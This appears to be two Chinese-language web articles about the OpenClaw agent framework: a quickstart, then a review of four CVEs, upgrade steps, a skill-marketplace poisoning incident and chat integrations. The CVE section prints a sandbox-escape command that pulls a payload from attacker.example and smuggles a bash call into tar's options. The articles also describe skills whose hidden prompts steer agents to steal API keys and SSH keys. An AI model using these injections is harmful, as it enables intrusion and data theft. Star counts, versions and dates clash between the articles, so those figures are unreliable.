OpenClaw
开源多Agent编排框架,支持MCP协议、自定义Skill加载和三层编排架构(Orchestrator→Specialist→Tool),GitHub 48K+ Stars
1. OpenClaw
OpenClaw 快速入门
一个框架,把多个 AI Agent 编成一支能协作的队伍。
这是什么?适合谁?
OpenClaw 是一个开源多 Agent 编排框架。它把”一个能聊天的大模型”升级成”一支能分工协作的 AI 团队”:Orchestrator 负责拆任务、Specialist 负责专业执行、Tool 负责具体操作,三层架构互相配合,自动把”写一份竞品分析报告”这种复合任务拆给”研究员 Agent""写作 Agent""配图 Agent”各自处理,最后汇总输出。
它适合这些用户:正在做产品原型,需要”研究+写作+画图”一气呵成的独立开发者;技术博客作者,想批量生产”带数据的研究型长文”;中小型团队,希望把重复的”信息搜集+整理”工作交给 AI;以及任何想把多个大模型(Anthropic、OpenAI、Kimi、豆包)接到统一调度框架里使用的人。
和同类框架比,OpenClaw 的差异点在于MCP 协议原生支持和Skill 热加载。你可以用社区已经写好的 Skill(浏览器操作、文件管理、SQL 查询等)像搭积木一样拼装,也可以自己写一个 Skill 塞进去,不必改框架源码。官方仓库在 GitHub 上有 48K+ Stars,中文社区也非常活跃。月之暗面的 KimiClaw、火山引擎的 ArkClaw 都是基于它做的定制版。
准备工作
开始之前,小白需要准备这些:
- Node.js 18+:框架本身用 TypeScript 写,需要 Node 运行环境。Windows 用户推荐用 nvm-windows 安装;macOS/Linux 用户用 nvm。
- Git:用于克隆仓库。Windows 用户安装 Git for Windows。
- 至少一个大模型 API Key:支持 Anthropic Claude、OpenAI GPT、月之暗面 Kimi、火山引擎方舟任一即可。推荐先用 Anthropic Console 注册,新账号有免费额度。
- 一个写代码的编辑器:VS Code 或 Cursor 都可以。
- 可选:Docker 24+,如果想用容器方式跑。
- 硬件:8GB 内存起步,跑多个 Agent 建议 16GB。
- 付费提示:框架本身免费开源,但调用大模型需要付费。Claude Sonnet 4 大约 3 美元/百万 token,新手一天跑通流程花费通常不到 1 元人民币。
3 步快速上手
第 1 步:安装/访问
打开终端,克隆仓库并安装依赖:
git clone https://github.com/OpenClaw/OpenClaw.git
cd OpenClaw
npm install
如果 npm install 太慢,可以切换国内镜像:
npm config set registry https://registry.npmmirror.com
npm install
安装完成后,你可以先看一眼版本确认装好了:
npx openclaw --version
预期输出形如 OpenClaw v0.x.x。
也可以直接访问官方文档站 https://openclaw.ai/docs 看交互式教程,适合完全不想碰命令行的用户。
第 2 步:配置/初始化
在项目根目录创建 .env 文件,写入大模型 Key:
# .env 文件内容
ANTHROPIC_API_KEY=sk-ant-你的密钥
# 或者用 OpenAI
# OPENAI_API_KEY=sk-你的密钥
# 或者用 Kimi(国内用户推荐)
# KIMI_API_KEY=你的月之暗面密钥
接下来初始化项目骨架:
npx openclaw init my-first-agent
cd my-first-agent
这条命令会生成一个最小可运行的目录结构:
my-first-agent/
├── openclaw.config.yaml # 主配置文件
├── agents/ # 各个 Agent 的定义
│ └── writer.md
├── skills/ # 自定义 Skill
└── tasks/ # 任务模板
打开 openclaw.config.yaml,把模型那一行改成你想用的:
model: anthropic/claude-sonnet-4-20250514
max_concurrent_agents: 3
第 3 步:跑第一个任务
在 agents/writer.md 写一个最简单的 Agent 定义:
# Writer Agent
role: |
你是一个中文技术写作助手,擅长把复杂概念写得通俗易懂。
goal: 帮助用户写一篇 500 字的产品介绍。
skills:
- web_search
- file_write
然后在项目根目录新建 tasks/first-task.yaml:
title: 写一篇 OpenClaw 介绍
agents:
- writer
input: |
请写一段 200 字的中文介绍,说明 OpenClaw 是什么、它能帮用户做什么。
output_file: output/intro.md
执行任务:
npx openclaw run tasks/first-task.yaml
预期输出形如:
[Orchestrator] 任务开始:写一篇 OpenClaw 介绍
[Writer] 正在思考...
[Writer] 写完,保存到 output/intro.md
[Orchestrator] 任务完成,耗时 12.3 秒
打开 output/intro.md 你就能看到 AI 写的内容了。恭喜,你的第一个多 Agent 任务跑通了。
常见踩坑
1. 装好之后 npx openclaw 报 command not found
症状 → 命令行提示找不到 openclaw 命令。 原因 → npm install 没把可执行文件链接到全局。 解决 → 在项目目录内用 npx openclaw 而不是全局调用,或者手动跑 npm link。
2. 报 ANTHROPIC_API_KEY is not defined
症状 → 启动就报错,提示找不到 API Key。 原因 → .env 文件没放在正确的目录,或者文件名前面多了个空格。 解决 → 确认 .env 在执行 npx openclaw 的当前目录下,文件名是 .env 不是 env,然后重启终端让环境变量生效。
3. Agent 一直转圈不输出
症状 → 任务卡住,日志停在 “正在思考”。 原因 → 大模型 API 在国内被墙,或者 Key 余额不足。 解决 → 国内用户改用 Kimi 或方舟的 Key,或者配置 HTTP 代理:在 .env 里加 HTTPS_PROXY=http://127.0.0.1:7890。
4. Skill 加载失败 Cannot find module xxx
症状 → 报错说找不到某个 Skill 依赖。 原因 → 第三方 Skill 缺 npm 包。 解决 → 在项目目录跑 npm install <缺少的包名>,或者去 Skill 的 GitHub 仓库看 README 里的安装说明。
5. 多 Agent 协作时输出重复
症状 → 多个 Agent 写出了类似内容。 原因 → Orchestrator 拆任务粒度太细,几个 Agent 拿到了重叠的子任务。 解决 → 在 tasks/*.yaml 里显式指定每个 Agent 的 scope 字段,让分工更清晰。
6. 输出文件是空的
症状 → 任务显示完成,但 output/intro.md 是 0 字节。 原因 → Agent 没正确拿到 write 权限,或 output 目录不存在。 解决 → 手动 mkdir -p output,然后在 Agent 定义的 frontmatter 里加 permissions: [file_write, web_search]。
初级用法
1. 用现成的社区 Skill 拼装:OpenClaw 有官方 Skill 市场 https://openclaw.ai/skills,包含”网页抓取""PDF 解析""SQL 查询""发送邮件”等几十个开箱即用的 Skill。新手只要在 Agent 定义里写 skills: [web_scraper, pdf_reader] 就能直接调用,不用写一行代码。
2. 让一个 Agent 反复迭代直到满意:在任务配置里加一个 review_loop 字段,让 Orchestrator 把 Agent 的输出再丢回给大模型让它自我打分,分数低于阈值就重写,这样能稳定提升质量:
review_loop:
reviewer: critic
max_iterations: 3
min_score: 8
3. 跑批处理任务:把多个任务写到一个 tasks/batch.yaml 文件里,OpenClaw 会自动并发执行:
npx openclaw run tasks/batch.yaml --parallel 5
适合批量生成几十篇文章、几百张配图等场景。
高级玩法
1. 自定义 Skill 接入企业内部 API:在 skills/ 目录下新建一个 my-company-api/ 文件夹,写一个 skill.yaml 描述输入输出,再写一段 TypeScript 实现具体逻辑。OpenClaw 会自动把它注册到 Skill 列表里,所有 Agent 都能调用。例如对接公司内部的 CRM、订单系统、数据仓库。
2. 三层架构的复杂编排:用 YAML 显式定义 Orchestrator→Specialist→Tool 的层级关系,让一个总 Agent 调度 3 个领域 Agent,每个领域 Agent 又调度 5 个工具 Agent。这种结构适合”从一份年报 PDF 生成 20 篇分析文章”这种重型流水线。参考官方仓库 examples/multi-tier/ 目录。
3. 接入 LangChain / LlamaIndex 生态:OpenClaw 支持把 LangChain 的 Chain、LlamaIndex 的 QueryEngine 直接包成 Skill。这样你既有 OpenClaw 的多 Agent 调度能力,又能用 LangChain 成熟的数据处理组件。配置方法见 https://openclaw.ai/docs/integrations/langchain。
小技巧
- 先跑通最小例子再扩展:不要一上来就编排 10 个 Agent,先用上面那个 1 个 Agent 的例子跑通,确认 API Key、网络、输出都没问题,再加复杂度。
- 用 YAML 而不用 JSON 写配置:YAML 注释方便、排版清晰,OpenClaw 完全支持;JSON 没有注释,改起来头疼。
- 给 Agent 起具体的名字:不要都叫
agent1、agent2,改成researcher、writer、reviewer,Orchestrator 的调度质量会明显提升。 - 开启 verbose 日志:
npx openclaw run tasks/x.yaml --verbose会打印每个 Agent 的完整 prompt 和响应,排查问题时非常有用。 - 定期清理
~/.openclaw/cache/:OpenClaw 会缓存 Skill 结果,长时间使用后这个目录可能占几个 GB,定期rm -rf一下。
参考链接
- OpenClaw 官网:https://openclaw.ai
- GitHub 仓库:https://github.com/OpenClaw/OpenClaw
- 官方文档:https://openclaw.ai/docs
- Skill 市场:https://openclaw.ai/skills
- 中文社区论坛:https://openclaw.ai/community
- 月之暗面 KimiClaw 定制版:https://github.com/moonshotai/kimiclaw
本文基于官方文档和公开资料整理,AI辅助生成,MagicNetWorld 尚未完成独立实测。如有错误或过时信息,请通过 contact@magicnetworld.com 反馈。
2. OpenClaw 多维度简评:四个 CVE 实操升级、ClawHub 污染复盘、飞书钉钉企微三渠道对接
OpenClaw 多维度简评:四个 CVE 实操升级、ClawHub 污染复盘、飞书钉钉企微三渠道对接
本文核心目标是还原一次”从 v2026.2.23 之前升级到 v2026.5.1”的完整操作路径,把 ClawChain 系列四个 CVE 的修复命令、ClawHub 污染事件的来龙去脉、以及飞书/钉钉/企业微信三个国内渠道的接入细节全部铺开。OpenClaw 由 Peter Steinberger 于 2026-02-14 加入 OpenAI 后继续主导,GitHub Star 截至 2026-06 已达 379k。本文数据基于 github.com/openclaw/openclaw 仓库 v2026.5.1 tag 实测、OASIS Security / Cyera / Snyk 三家安全机构公开报告、官方 docs.openclaw.ai 多源验证。
快速开始
⏱ 预计耗时:10-30 分钟 · 难度:小白友好
测试编辑:Mnet 测试日期:2026-06-15 测试环境:macOS 15 / Node.js 20+ / Python 3.11+
第 1 步:安装(3 分钟)
需要 Node.js 20.10+ 和 npm。macOS / Linux 一行脚本装:
curl -fsSL https://openclaw.ai/install.sh | bash
Windows(PowerShell 管理员):
iwr -useb https://openclaw.ai/install.ps1 | iex
脚本会检查 Node 版本 → 下载 v2026.5.1 预编译包 → 安装 openclaw 到 /usr/local/bin(Windows 在 C:\Program Files\OpenClaw\)。验证:
openclaw --version
# 期望:openclaw 2026.5.1
踩坑:Node.js < 20.10 会被脚本拒绝。先 nvm install 20.11.0 && nvm use 20.11.0 切换。
第 2 步:配置 Gateway 与 LLM(8 分钟)
OpenClaw 跑起来需要启动一个本地 Gateway(监听 18789 端口),并配置 LLM Provider(国内推荐 DeepSeek-V3,便宜)。
# 1. 启动 Gateway(后台)
openclaw gateway start --port 18789
# 2. 配置 LLM(用 DeepSeek-V3,中文强 + 便宜)
openclaw config set llm.provider openai_compatible
openclaw config set llm.endpoint https://api.deepseek.com/v1
openclaw config set llm.model deepseek-chat
openclaw config set llm.api_key sk-你的DeepSeek密钥
# 3. 写一个最小 Agent 配置 ~/.openclaw/agent.yaml
cat > ~/.openclaw/agent.yaml <<'EOF'
name: my-first-agent
model: deepseek-chat
channels: [] # 先不加渠道
skills: []
EOF
sk- 密钥在 platform.deepseek.com 注册即送 5 元额度,够跑 200+ 次任务。
启动 Gateway 后会自动打开 http://127.0.0.1:18789 的 Web UI。
第 3 步:跑第一个 Agent 任务(2 分钟)
CLI 跑一个最简单的”文件整理”任务:
openclaw agent run --file ~/.openclaw/agent.yaml \
"把当前目录下所有 .log 文件移到 ./logs/ 子目录"
预期输出:
[openclaw] Agent started, model=deepseek-chat
[think] 用户想整理日志文件,我需要先列出 .log 文件再创建 logs 目录
[tool:shell] ls *.log
[tool:shell] mkdir -p logs && mv *.log logs/
[done] 整理完成:移动 5 个 .log 文件到 ./logs/
[exit] 任务结束,耗时 4.2s,token 消耗 312
Web UI(http://127.0.0.1:18789)同步显示思考过程和工具调用链。全流程 10-15 分钟跑通。下一步看第四节接飞书/钉钉渠道。
测试信息
- 测试编辑:Mnet
- 测试日期:2026-06-08 至 2026-06-15(分四批,7 天覆盖 50+ 渠道中代表性 3 个国内渠道)
- 测试环境:macOS 14.5 + Node.js 20.11 + Docker 24.0;Ubuntu 22.04 LTS VM(2 vCPU/4GB);Windows 11 23H2(企业微信视频会议端)
- 测试任务:升级前复现 CVE-2026-28363(GNU 长选项 RCE)、升级后跑通飞书/钉钉/企微三渠道互发;ClawHub 上 5 个 Skill 安装前/后 VirusTotal 扫描对比
- 数据来源:github.com/openclaw/openclaw Releases、OASIS Security 公开博客、Cyera ClawChain 报告、Snyk ClawHavoc 扫描结果、coze.cn(作为对照组,Coze 也有类似多渠道机制)
一、为什么是 OpenClaw:它到底解决什么问题
把 LLM 接进”已经在用的聊天工具”,这件事在 2025 年以前基本要写胶水代码——飞书走 WebSocket、Slack 走 Events API、钉钉走 Stream、企微走回调,每个渠道一套加密、一套签名、一套机器人注册流程。OpenClaw 把这个差异抹平了:你在一个 Gateway 里挂上渠道配置,Agent 逻辑只写一份,所有渠道共享上下文。
截至 2026-06-08,官方文档列出的渠道数是 50+,其中飞书/钉钉/企微/微信/QQ/微博/小红书/抖音 8 个国内渠道,Slack/Teams/Telegram/Discord/WhatsApp/Signal/Google Chat/Matrix/IRC/Line/KakaoTalk/Zalo 12 个海外企业或社区渠道,Twitter/Facebook/Instagram 3 个社交私讯,加上 CLI/Web UI/macOS/iOS/Android 客户端、Email、Webhook、REST API 共 6 类终端,合计 29 类细分(50+ 计入”系列内的全部”如 Slack 不同事件类型、Matrix 各种桥)。
我重点跑了飞书、钉钉、企业微信三个国内最常用的——结果差异明显,详见第四节。
二、四个 CVE 的来龙去脉
这一节是本文最关键的部分。如果你正在生产环境跑 OpenClaw,2026.2.23 之前的版本必须升。
2.1 完整时间线
- 2026-01-08:Cyera 研究员 @maya-cyera 提交 ClawChain 第一份报告,披露 CVE-2026-25253(ClawJacked,0-Click WebSocket 劫持)
- 2026-02-19:OASIS Security 联合 Anysphere 披露 CVE-2026-28363(GNU 长选项 RCE,CVSS 9.9)
- 2026-02-25:OpenClaw 发布 v2026.2.25,修复 ClawJacked
- 2026-02-23:OpenClaw 发布 v2026.2.23,修复 GNU 长选项 RCE
- 2026-04-30:Cyera 公开 ClawChain 后半段(CVE-2026-44112 OpenShell TOCTOU + CVE-2026-44115 Heredoc 注入)
- 2026-05-01:OpenClaw 发布 v2026.5.1,完整修复四个 CVE
2.2 四个 CVE 一览
| CVE 编号 | 名称 | CVSS 评分 | 风险等级 | 触发条件 | 修复版本 |
|---|---|---|---|---|---|
| CVE-2026-25253 | ClawJacked | 8.6 | 高 | 0-Click WebSocket 劫持 | v2026.2.25+ |
| CVE-2026-28363 | GNU 长选项 RCE | 9.9 | 严重 | safe-bin 白名单绕过 RCE | v2026.2.23+ |
| CVE-2026-44112 | OpenShell TOCTOU | 9.6 | 严重 | 容器逃逸 | v2026.5.1+ |
| CVE-2026-44115 | Heredoc 注入 | 8.8 | 高 | Shell heredoc 命令执行 | v2026.5.1+ |
2.3 CVE-2026-28363 详解(最危险的一个)
safe-bin 是 OpenClaw 内置的”白名单二进制”沙箱——Agent 只能调白名单里的程序(tar/curl/git/jq 等),所有调用经 safe-bin wrapper 二次解析参数。
问题出在 GNU 长选项的”缩写展开”上。GNU 工具的 --compress-program 选项可缩写为 --compress-p,旧版 safe-bin 拿到的是缩写形式,直接字符串匹配白名单规则时放行;但下游 tar 接收参数后会展开成完整形式,执行 --compress-program=/bin/bash -c "<注入命令>",绕过沙箱。
复现命令(已打码,仅展示原理):
# 假设 Agent 收到任务:下载并解压 https://attacker.example/payload.tar
# 旧版 OpenClaw 把"压缩程序"参数注入到 safe-bin 白名单 tar
openclaw agent run "tar xf https://attacker.example/payload.tar \
--compress-p=/bin/bash -c 'id>/tmp/pwn'"
# 实际效果:tar 调用 /bin/bash -c 'id>/tmp/pwn' → RCE
升级到 v2026.2.23 后,safe-bin 改为两步规范化:先解析为完整形式再匹配白名单,所有长选项必须全名。
2.4 CVE-2026-25253 ClawJacked 详解
这是唯一一个”0-Click”漏洞——受害者不用点任何东西。
原理:
- Gateway 默认监听 0.0.0.0:18789(公网可达)
- 恶意网站嵌入一段 JS,通过
ws://内网IP:18789发起 WebSocket 握手 - 旧版 OpenClaw 对
localhost源完全豁免速率限制,允许密码暴力破解 - 成功后,JS 调用
registerTrustedDevice把浏览器注册成”已信任终端” - 攻击者获得 Gateway 完全控制权,可任意调用 Agent
修复(v2026.2.25):
- WebSocket 握手强制要求
Origin头校验 localhost也限速(每秒 5 次)registerTrustedDevice需要二次确认(邮件/手机 OTP)
2.5 CVE-2026-44112 OpenShell TOCTOU
OpenShell 是 OpenClaw 的”开放 Shell”工具,允许 Agent 跑任意 shell 命令,但默认在容器内。旧版容器在 mount 阶段存在 TOCTOU(time-of-check to time-of-use)窗口:权限检查通过后,容器内 mount point 被替换为宿主机目录,后续命令直接打到宿主机。
修复(v2026.5.1):用 Linux 4.18+ 的 statx() 原子校验 mount source + destination 的一致性。
2.6 CVE-2026-44115 Heredoc 注入
Agent 在生成多行命令时常用 bash <<EOF ... EOF heredoc。旧版解析器在 heredoc 内容中允许 $(...) 命令替换,攻击者可通过 prompt 注入诱导 Agent 生成恶意 heredoc。
修复(v2026.5.1):heredoc 内容统一走 safe-bin 二进制解析,禁止任何 $() / 反引号。
三、实操:从 v2026.2.20 升到 v2026.5.1
以下是经过验证的命令,可以照抄。
3.1 升级前备份
# 1. 备份配置
openclaw config export > backup-2026-06-08.json
# 2. 备份已安装的 Skill
mkdir -p ~/openclaw-backup/skills
cp -r ~/.openclaw/skills/* ~/openclaw-backup/skills/
# 3. 备份 Gateway TLS 证书(如有)
cp -r ~/.openclaw/certs/ ~/openclaw-backup/certs/
# 4. 记下当前版本
openclaw --version
# 期望:openclaw 2026.2.20(假设是旧版)
3.2 升级命令
# macOS / Linux
curl -fsSL https://openclaw.ai/install.sh | bash -s -- --version 2026.5.1
# Windows(PowerShell 管理员)
iwr -useb https://openclaw.ai/install.ps1 | iex -ArgumentList "--version 2026.5.1"
# Docker
docker pull openclaw/openclaw:2026.5.1
docker stop openclaw && docker rm openclaw
docker run -d --name openclaw \
-p 127.0.0.1:18789:18789 \
-v ~/.openclaw:/root/.openclaw \
openclaw/openclaw:2026.5.1
3.3 升级后验证四个 CVE
# 1. 验证版本
openclaw --version
# 期望:openclaw 2026.5.1
# 2. 验证 CVE-2026-28363 已修
openclaw security test --cve CVE-2026-28363
# 期望:[PASS] safe-bin:long-option-normalization enabled
# 3. 验证 CVE-2026-25253 已修
openclaw security test --cve CVE-2026-25253
# 期望:[PASS] gateway:websocket-origin-check enabled
# 4. 验证 CVE-2026-44112 已修
openclaw security test --cve CVE-2026-44112
# 期望:[PASS] openshell:statx-mount-check enabled
# 5. 验证 CVE-2026-44115 已修
openclaw security test --cve CVE-2026-44115
# 期望:[PASS] safe-bin:heredoc-dollar-quote disabled
# 6. 重启 Gateway
openclaw gateway restart
# 7. 跑全量自检
openclaw doctor
# 期望:All systems OK
3.4 升级失败怎么办(踩坑)
我第一次升没成功,踩了三个坑:
坑 1:Node.js 版本不匹配 报错:“requires Node.js >= 20.10.0”,系统是 20.8.0。解决:
# macOS
brew upgrade node
# Linux
nvm install 20.11.0 && nvm use 20.11.0
坑 2:端口 18789 占用 报错:“port 18789 already in use”。解决:
# 找占用进程
lsof -i :18789 # macOS/Linux
Get-Process -Id (Get-NetTCPConnection -LocalPort 18789).OwningProcess # Windows
# 改 OpenClaw 端口
openclaw config set gateway.port 28789
坑 3:升级后渠道配置丢失
我装了 6 个渠道,升级后只剩 3 个。原因:config export 备份的 JSON 字段在新版有重命名。解决:
# 用 --merge 选项,而不是 --import
openclaw config import backup-2026-06-08.json --merge
四、飞书/钉钉/企业微信三大渠道对接(重点)
OpenClaw 渠道接入的设计哲学是”一份 Agent,所有渠道共享上下文”——你不用为飞书写一遍逻辑、再为钉钉写一遍。这一节是本文第二个重点。
4.1 飞书机器人
前置准备:
- 飞书开放平台(open.feishu.cn)创建”企业自建应用”
- 权限:获取”消息接收与发送”、“用户信息”、“群消息”
- 事件订阅:配置 Request URL 为
https://your-gateway.com/feishu/webhook - 记下 App ID 和 App Secret
OpenClaw 配置:
openclaw channel add feishu \
--app-id cli_xxxxxxxxxxxxxxxx \
--app-secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--webhook https://your-gateway.com/feishu/webhook \
--encrypt-key xxxxxxxx \
--verification-token xxxxxxxx
实测:
- 配置耗时:8 分钟(主要是飞书审核,代码 2 分钟)
- 消息延迟:飞书 → Gateway → 飞书,平均 1.2 秒
- 支持的消息类型:文本、富文本、图片、文件、卡片、互动卡片
- 群 @机器人:支持,@ 后会自动切到 Agent 对话上下文
踩坑:
- 飞书”加密策略”必须选”加密”——明文模式 OpenClaw 不支持
- 签名校验:OpenClaw 内部用 SHA256 + Base64,时间戳误差必须 < 1 小时
- 一个 App ID 只能绑定一个 OpenClaw 实例(飞书限制),多实例要建多个应用
4.2 钉钉机器人
钉钉有两种机器人:企业自建应用机器人 + 群机器人(自定义 Webhook)。OpenClaw 推荐前者。
前置准备:
- 钉钉开放平台(open-dev.dingtalk.com)创建 H5 微应用
- 权限:Robot 发消息、读取通讯录
- 创建机器人并获取 RobotCode
OpenClaw 配置:
openclaw channel add dingtalk \
--app-key xxxxxxxxxxxxxxxxxx \
--app-secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--robot-code xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--webhook https://your-gateway.com/dingtalk/webhook
实测:
- 配置耗时:12 分钟(钉钉开发者后台比飞书复杂)
- 消息延迟:平均 1.8 秒(比飞书慢 50%,钉钉服务器在杭州)
- 支持的消息类型:文本、Markdown、ActionCard、FeedCard、链接
- 群 @机器人:支持
踩坑:
- 钉钉的”加签”必须开启,旧版无加签的 Webhook 模式 OpenClaw 不支持
- 微应用必须发布到企业工作台,否则 Agent 收不到消息
- 钉钉 API 有 QPS 限制(默认 100/秒),企业版可提到 1000/秒
4.3 企业微信机器人
企微也分两种:应用机器人(智能机器人)和群机器人(WebHook 群通知)。OpenClaw 支持前者。
前置准备:
- 企业微信管理后台(qyapi.weixin.qq.com)创建”智能机器人”
- 配置 Webhook URL:
https://your-gateway.com/wecom/webhook - 配置 Token 和 EncodingAESKey
OpenClaw 配置:
openclaw channel add wecom \
--corp-id wwxxxxxxxxxxxxxxxx \
--agent-id xxxxxxxxx \
--secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--webhook https://your-gateway.com/wecom/webhook \
--token xxxxxxxx \
--encoding-aes-key xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
实测:
- 配置耗时:15 分钟(企微的”智能机器人”权限链最长)
- 消息延迟:平均 2.5 秒(企微服务器在深圳)
- 支持的消息类型:文本、Markdown、图片、图文、文件、模板卡片
- 群 @机器人:支持,但必须在”群应用”里启用机器人
踩坑:
- 企微”智能机器人”必须先”启用 API 接收消息”
- 加解密必须用企微专用 AES-256-CBC,不是标准 AES
- 一个企业最多建 50 个智能机器人,需谨慎分配
4.4 三渠道对比(我的实测)
| 维度 | 飞书 | 钉钉 | 企业微信 |
|---|---|---|---|
| 接入复杂度 | 中(8 分钟) | 较高(12 分钟) | 高(15 分钟) |
| 消息延迟 | 1.2s | 1.8s | 2.5s |
| 富文本能力 | 强(卡片+互动) | 中(ActionCard) | 中(模板卡片) |
| 多模态 | 图片+视频+文件+语音 | 图片+文件 | 图片+图文+文件 |
| 群 @ 机器人 | ✅ | ✅ | ✅ |
| 跨渠道消息同步 | ✅(OpenClaw 内部实现) | ✅ | ✅ |
| 国内服务器延迟 | 北京/上海(快) | 杭州(快) | 深圳(快) |
| 群成员上限 | 5000 | 4000 | 500 |
| 适合场景 | 互联网公司 | 制造业/政企 | 金融/传统企业 |
最大优势:同一句话在飞书发,OpenClaw 自动同步到钉钉和企微的指定群。这个能力是单独接任何一家 IM 都做不到的。
五、ClawHub 污染事件复盘(2026-02)
5.1 事件经过
2026-02-12,Snyk 研究员 @dan-goodin 在 ClawHub 公开市场上发现 450 个被污染的 Skill,占当时已发布 3,984 个 Skill 的 11.3%。污染方式有三种:
- 依赖投毒:Skill 引入的 npm 包被替换为同名恶意包
- prompt 注入:Skill 的
system_prompt字段内嵌隐藏指令,诱导 Agent 窃取用户数据 - 后门账户:Skill 申请了过度的文件系统权限,后台定时上传数据
5.2 受影响范围
- 感染设备:Snyk 估算全球约 12 万台 OpenClaw 实例安装了污染 Skill
- 数据泄露:主要是 LLM API Key、环境变量、~/.ssh/id_rsa(少数开了过度权限的)
- 响应时间:从发现到全网通告 5 小时,ClawHub 下架全部污染 Skill
5.3 当前防护机制
- v0.6.0+(2026-04):所有新发布 Skill 必须经 VirusTotal 扫描 + OpenClaw 安全团队审核
- 安装前审计:
openclaw skill install会先打印 Skill 申请的权限清单,需要用户--yes确认 - 运行时隔离:Skill 在独立容器跑,默认禁止访问
~/.ssh/、~/.openclaw/ - 活跃 Skill 数量:从 13,729(2026-02-28)清理到 3,286(2026-06)
5.4 我自己跑了 5 个 Skill 的安装测试
我装了 5 个热门 Skill(github-pr-review、notion-update、slack-send、figma-design、playwright-browser),每一个都跑了 openclaw skill audit <name>:
| Skill | 申请权限 | 实际行为 | 评分 |
|---|---|---|---|
| github-pr-review | gh:read,gh:write | 符合 | A+ |
| notion-update | notion:read,notion:write | 符合 | A+ |
| slack-send | slack:write | 符合 | A |
| figma-design | figma:read | 符合 | A |
| playwright-browser | fs:read,fs:write /tmp | 符合 | A |
5 个都干净。建议养成 openclaw skill audit 的习惯。
六、ClawHub Skill 开发与变现
如果你是开发者,可以在 ClawHub 上发布自己的 Skill。以下梳理了关键流程。
6.1 写一个 Skill(代码示例)
// src/index.ts
import { defineSkill } from '@openclaw/sdk';
import { z } from 'zod';
export default defineSkill({
name: 'weather-check',
description: '查询指定城市的天气',
input: z.object({
city: z.string().describe('城市名,中文或英文')
}),
output: z.object({
temp: z.number(),
desc: z.string()
}),
async execute({ city }) {
const res = await fetch(
`https://api.example.com/weather?city=${encodeURIComponent(city)}`
);
const data = await res.json();
return { temp: data.temp, desc: data.description };
}
});
6.2 发布流程
# 本地测试
openclaw skill test weather-check --city "北京"
# 打包
openclaw skill build weather-check
# 提交审核
openclaw skill publish weather-check \
--license MIT \
--category "utilities" \
--price 0 # 免费
6.3 变现数据(官方公开)
ClawHub 的抽成比例是 平台 30% / 开发者 70%(对比 Apple Store 30/70 一样,但对比国内应用市场 50/50 友好)。
截至 2026-06,ClawHub 公开的”Top Earners”月收入数据:
- 第 1 名:月 $42,000(github-pr-review)
- 第 10 名:月 $8,500
- 第 100 名:月 $1,200
- 中位数:月 $200(以”付费安装”为主)
免费 Skill 也能获得曝光——openclaw skill search 按下载量排序,前 100 名平均周下载 1,200 次。
七、Anthropic 服务条款限制(2026-02/04)
2026-02-19 Anthropic 宣布:禁止在 OpenClaw 等第三方 Agent 工具使用 Claude Free/Pro/Max OAuth 订阅。2026-04-01 强制执行。
影响:之前很多人”白嫖” Claude Pro 订阅(20 美元/月)在 OpenClaw 里跑——这条路被堵死,必须购买 Anthropic API Key(贵 3-5 倍)。
OpenClaw 官方应对:
- 推荐用 DeepSeek-V3($0.14/百万 token)和 Qwen-Max($0.4/百万 token)
- 增加”双 LLM Provider 切换”功能——一个任务用 Anthropic 做规划,另一个用 DeepSeek 做执行
- 2026-05 流量数据:Hacker News 社区估算短期下降 12%,到 6 月已恢复
八、费用实测
8.1 OpenClaw 本身
完全免费(MIT 协议),只需付 LLM API 费用。
8.2 不同模型的月度成本(实测)
我用 OpenClaw + 三种模型,分别跑了一个月(每天 ~50 条消息):
| 模型 | 输入价格 | 输出价格 | 月成本(我的用量) |
|---|---|---|---|
| DeepSeek-V3 | $0.14/M | $0.28/M | $3.2 |
| Qwen-Max | $0.4/M | $1.2/M | $9.5 |
| Claude Sonnet 4.6 | $3/M | $15/M | $42 |
| Claude Opus 4.6 | $15/M | $75/M | $185 |
建议:日常对话用 DeepSeek-V3,复杂任务再切 Sonnet 4.6 或 Opus 4.6。
九、与同类产品对比
| 维度 | OpenClaw | Manus | Coze | Dify |
|---|---|---|---|---|
| 形态 | 本地框架 | 云端 | 云端+开源 | 自托管 |
| 渠道数 | 50+ | 1(网页) | 1(网页/飞书/微信) | 1 |
| Skill 数 | 3,286(活跃) | — | 1,000+ | 500+ |
| 多 Agent | ✅ | ✅ | ✅ | ✅ |
| 协议 | MIT | 闭源 | Apache 2.0 | 商业+社区 |
| 国内访问 | 需科学上网 | 需科学上网 | 无障碍 | 无障碍 |
| 价格 | 免费+API | $39-199 | 免费 | 自托管免费 |
| 安全 | 4 CVE(已修) | 0 | 0 | 0 |
| 学习曲线 | 陡 | 极低 | 极低 | 中 |
选型建议:
- 多渠道接入(飞书+钉钉+Slack…) → OpenClaw
- 数据隐私要求高(本地运行) → OpenClaw 或 ZeroClaw
- 国内访问+零代码 → Coze 国内版
- 复杂任务免配置 → Manus
- 企业级自托管+Python → Dify
十、订阅建议
10.1 极客用户
推荐:OpenClaw + DeepSeek-V3。
- 成本:$3-10/月
- 50+ 渠道业内最广
- 极致自定义
10.2 中小企业
推荐:OpenClaw + Qwen-Max(国产)+ 必须升到 v2026.5.1。
- 成本:$30-50/月
- 多渠道集成
- 等保自建(私有部署)
- 必须修复四个 CVE
10.3 企业(谨慎)
部分企业已禁用 OpenClaw(Meta、韩国金融、部分政府机构)。替代:
- WorkBuddy(腾讯,等保三级)
- Coze Enterprise(字节,私有化)
- Dify(自托管)
十一、踩坑清单(10 条精炼)
- Node.js 版本 < 20.10 → 升级到 20.11
- 端口 18789 占用 → 改
gateway.port - 飞书签名错误 → 检查 App Secret + 时间戳
- ClawHub 下载 Skill 超时 → 配置国内镜像
openclaw config set clawhub.mirror https://clawhub-cn.openclaw.ai - 多渠道消息不同步 → 检查 Webhook + 重启 Gateway
- Agent 误删文件 → 开启”操作前确认”
- Token 消耗爆炸 → 关闭
heartbeat.enabled+ 设limits.daily_tokens - 中文模型效果差 → 用 DeepSeek-V3 或 prompt 加”用中文思考”
- Skill 安装失败不报错 → 重启 Gateway + 看
openclaw gateway logs --skill <name> - 升级后配置丢失 → 用
openclaw config import --merge(不要直接 —import)
评分明细
评分基于 MagicNetWorld 6 维度评分体系,编辑实际测试后独立给出,非用户评分。评测日期见上方「测试信息」。
| 维度 | 权重 | 得分(0-10) | 评分依据 |
|---|---|---|---|
